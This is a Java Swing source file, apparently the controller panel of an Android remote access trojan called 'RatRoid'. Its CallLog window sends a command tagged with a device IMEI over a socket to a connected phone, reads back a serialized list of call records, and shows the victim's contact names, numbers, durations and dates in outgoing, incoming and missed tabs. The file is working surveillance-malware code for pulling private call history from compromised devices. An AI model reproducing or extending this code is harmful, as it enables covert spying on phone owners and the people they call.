/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package GUI;

import Control.Clients;
import Control.ThreadHandle;
import RatRoid.Main;
import java.awt.Color;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
import javax.swing.JOptionPane;
import javax.swing.JTextPane;
import javax.swing.SwingWorker;
import javax.swing.text.AttributeSet;
import javax.swing.text.SimpleAttributeSet;
import javax.swing.text.StyleConstants;
import javax.swing.text.StyleContext;
import other.Clog;

/**
 *
 * @author Sam
 */
public class CallLog extends javax.swing.JFrame {

    /**
     * Creates new form CallLog
     */
    public CallLog(String x) {
        imei=x;
        initComponents();
        this.setIconImage(new javax.swing.ImageIcon(getClass().getResource("/res/logo.png")).getImage());
        this.setVisible(true);
        
    }

    /**
     * This method is called from within the constructor to initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is always
     * regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {

        callbutton = new javax.swing.JButton();
        tabpane = new javax.swing.JTabbedPane();
        jScrollPane1 = new javax.swing.JScrollPane();
        outtext = new javax.swing.JTextPane();
        jScrollPane2 = new javax.swing.JScrollPane();
        intext = new javax.swing.JTextPane();
        jScrollPane3 = new javax.swing.JScrollPane();
        missedtext = new javax.swing.JTextPane();

        setTitle("Call Log");

        callbutton.setText("Get Call History");
        callbutton.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                callbuttonActionPerformed(evt);
            }
        });
        getContentPane().add(callbutton, java.awt.BorderLayout.PAGE_END);

        tabpane.setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR));
        tabpane.setOpaque(true);
        tabpane.setPreferredSize(new java.awt.Dimension(350, 550));

        outtext.setForeground(new java.awt.Color(19, 137, 19));
        jScrollPane1.setViewportView(outtext);

        tabpane.addTab("OUTGOING Calls", jScrollPane1);

        intext.setForeground(new java.awt.Color(0, 0, 255));
        jScrollPane2.setViewportView(intext);

        tabpane.addTab("INCOMING Calls", jScrollPane2);

        missedtext.setForeground(new java.awt.Color(255, 0, 0));
        jScrollPane3.setViewportView(missedtext);

        tabpane.addTab("MISSED Calls", jScrollPane3);

        getContentPane().add(tabpane, java.awt.BorderLayout.CENTER);
        tabpane.setForegroundAt(0, new java.awt.Color(0,193,63));
        tabpane.setForegroundAt(1,new java.awt.Color(0,106,193));
        tabpane.setForegroundAt(2,Color.RED);

        pack();
    }// </editor-fold>//GEN-END:initComponents

    private void callbuttonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_callbuttonActionPerformed
    
        SwingWorker worker = new SwingWorker<Void, Void>() {

   @Override
   protected Void doInBackground() throws Exception {
       callbutton.setEnabled(false);
      data(Main.threads);
      callbutton.setEnabled(true);
      return null;
   }
};
        worker.execute();
    }//GEN-LAST:event_callbuttonActionPerformed

    public void data(ThreadHandle thlist) {
    
                
            for (final Clients client1 : thlist.getthreads()) {
                if (client1.getthread().getName().equals(imei)) {
                    if(client1.available){
                    client1.available=false;
                    client1.doing=" This Client is getting Call logs, please try again in a second ";
             try {
                out = new PrintWriter(client1.getsocket().getOutputStream());
                
                    out.println("clo"+imei);
                out.flush();

                is1 = client1.getsocket().getInputStream();
                ois1 = new ObjectInputStream(is1);
                calltab1 = ( List<Clog> )ois1.readObject();
                client1.available=true;
                    }
             catch (IOException e) {
                 this.dispose();
                 client1.available=true;
            }
             catch (ClassNotFoundException ex) {
             client1.available=true;
             }
                int size=calltab1.size();
                int i;
                
                String textout = "+-+-+-+-+ +-+-+-+\n|C|a|l|l| |L|o|g|\n+-+-+-+-+ +-+-+-+ \n \n";
                String textin = "+-+-+-+-+ +-+-+-+\n|C|a|l|l| |L|o|g|\n+-+-+-+-+ +-+-+-+ \n \n";
                String textmiss = "+-+-+-+-+ +-+-+-+\n|C|a|l|l| |L|o|g|\n+-+-+-+-+ +-+-+-+ \n \n";
                if(size==0){textout+= "No Call Log on Device";textin+= "No Call Log on Device";textmiss+= "No Call Log on Device";}
                else {
                for(i=1;i<size;i++){
                    if(calltab1.get(i).gettype().equals("OUTGOING")){
                   textout +="\n Contact name   :  "  + calltab1.get(i).getname() +"\n";
                   textout +="\n Contact Number :  " + calltab1.get(i).getnum()+"\n";
                   textout +="\n Call Duration  :  " + calltab1.get(i).getduration()+"\n";
                   textout +="\n Call Type      :  " + calltab1.get(i).gettype() +"-CALL"+"\n";
                   textout +="\n Call Date      :  " + calltab1.get(i).getdate() +"\n================================";}
                    if(calltab1.get(i).gettype().equals("INCOMING")){
                   textin +="\n Contact name   :  "  + calltab1.get(i).getname() +"\n";
                   textin +="\n Contact Number :  " + calltab1.get(i).getnum()+"\n";
                   textin +="\n Call Duration  :  " + calltab1.get(i).getduration()+"\n";
                   textin +="\n Call Type      :  " + calltab1.get(i).gettype() +"-CALL"+"\n";
                   textin +="\n Call Date      :  " + calltab1.get(i).getdate() +"\n================================";}
                    if(calltab1.get(i).gettype().equals("MISSED")){
                   textmiss +="\n Contact name   :  "  + calltab1.get(i).getname() +"\n";
                   textmiss +="\n Contact Number :  " + calltab1.get(i).getnum()+"\n";
                   textmiss +="\n Call Duration  :  " + calltab1.get(i).getduration()+"\n";
                   textmiss +="\n Call Type      :  " + calltab1.get(i).gettype() +"-CALL"+"\n";
                   textmiss +="\n Call Date      :  " + calltab1.get(i).getdate() +"\n================================";}
                
                }
                outtext.setText(textout);
                intext.setText(textin);
                missedtext.setText(textmiss);
                
                //appendToPane(outtext, textout, Color.GREEN);
                //appendToPane(intext, textin, Color.BLUE);
                //appendToPane(missedtext, textmiss, Color.RED);
                //call.setText(text);
                
                callbutton.setText("Woker kamal");
                }
                }
                    else {
               Thread msgThread = new Thread(new Runnable() {
                           @Override
				public void run() {
                               JOptionPane.showMessageDialog(null,client1.doing , "Client " +client1.getthread().getName()+" is busy!", JOptionPane.INFORMATION_MESSAGE);
                                }});
                       msgThread.start();
           }
            }
                 } 
}
     private void appendToPane(JTextPane tp, String msg, Color c){
        StyleContext sc = StyleContext.getDefaultStyleContext();
        AttributeSet aset = sc.addAttribute(SimpleAttributeSet.EMPTY, StyleConstants.Foreground, c);

        aset = sc.addAttribute(aset, StyleConstants.FontFamily, "Lucida Console");
        aset = sc.addAttribute(aset, StyleConstants.Alignment, StyleConstants.ALIGN_JUSTIFIED);

        int len = tp.getDocument().getLength();
        tp.setCaretPosition(len);
        tp.setCharacterAttributes(aset, false);
        tp.replaceSelection(msg);
    }

    
     List<Clog> calltab1= new ArrayList<>();
     private ObjectInputStream ois1;
     private InputStream is1;
     private PrintWriter out;
     String imei;
    // Variables declaration - do not modify//GEN-BEGIN:variables
    private javax.swing.JButton callbutton;
    private javax.swing.JTextPane intext;
    private javax.swing.JScrollPane jScrollPane1;
    private javax.swing.JScrollPane jScrollPane2;
    private javax.swing.JScrollPane jScrollPane3;
    private javax.swing.JTextPane missedtext;
    private javax.swing.JTextPane outtext;
    private javax.swing.JTabbedPane tabpane;
    // End of variables declaration//GEN-END:variables
}
